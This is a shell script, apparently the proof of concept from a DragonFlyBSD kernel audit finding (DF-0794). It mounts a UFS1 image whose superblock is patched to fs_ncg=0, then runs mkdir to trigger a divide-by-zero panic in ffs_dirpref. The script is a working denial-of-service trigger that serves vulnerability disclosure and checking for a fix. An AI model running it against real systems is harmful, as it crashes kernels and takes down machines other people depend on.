DragonFlyBSD Kernel Audit
DF-0794 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0794 trigger: mount a crafted UFS1 image with fs_ncg=0 and create a
# directory. The first inode allocation drives a divide-by-zero in
# ffs_dirpref (ffs_alloc.c:676-678) and panics the kernel (#DE trap).
#
# MUST be run as root (vnconfig + mount). The bug is in-kernel; the
# unprivileged path is "admin mounts an attacker-supplied image and the
# attacker then creates files/dirs on it" — the mount step here is the
# admin action, the mkdir step is the attacker action.
set -eu

IMG=/tmp/df0794.img
MNT=/tmp/df0794_mnt
DEV=vn0

echo "=== DF-0794: divide-by-zero in ffs_dirpref when fs_ncg==0 ==="
echo "uname: $(uname -a)"
echo

# clean up any leftovers
umount "$MNT" 2>/dev/null || true
vnconfig -u "$DEV" 2>/dev/null || true
rm -rf "$MNT"
mkdir -p "$MNT"

# 1. Create a small UFS1 image with newfs.
echo "--- creating 4 MB image ---"
rm -f "$IMG"
truncate -s 4M "$IMG"
vnconfig -c "$DEV" "$IMG"
newfs -O /dev/"${DEV}" 2>&1 | sed 's/^/[newfs] /'
vnconfig -u "$DEV"

# 2. Patch fs_ncg=0 (and friends) in the superblock.
echo
echo "--- patching superblock (fs_ncg=0) ---"
./patch_image "$IMG"

# 3. Attach + mount read/write.
echo
echo "--- attaching + mounting RW ---"
vnconfig -c "$DEV" "$IMG"
mount -o rw /dev/"${DEV}" "$MNT"
echo "mount OK; mount output:"
mount | grep "$MNT" || true

# 4. Trigger: mkdir -> ufs_mkdir -> ffs_valloc -> ffs_dirpref -> /0
echo
echo "--- triggering mkdir (should panic the kernel #DE) ---"
echo "if this returns, the bug is fixed; if ssh dies, the kernel panicked."
mkdir "$MNT/trigger_dir" 2>&1 && echo "MKDIR_RETURNED_OK (no panic)" \
    || echo "MKDIR_FAILED errno=$?"

# clean up if we somehow survived (i.e. on a fixed kernel)
echo
echo "--- cleaning up ---"
umount "$MNT" 2>/dev/null || true
vnconfig -u "$DEV" 2>/dev/null || true
rm -rf "$MNT" "$IMG"
echo "DONE"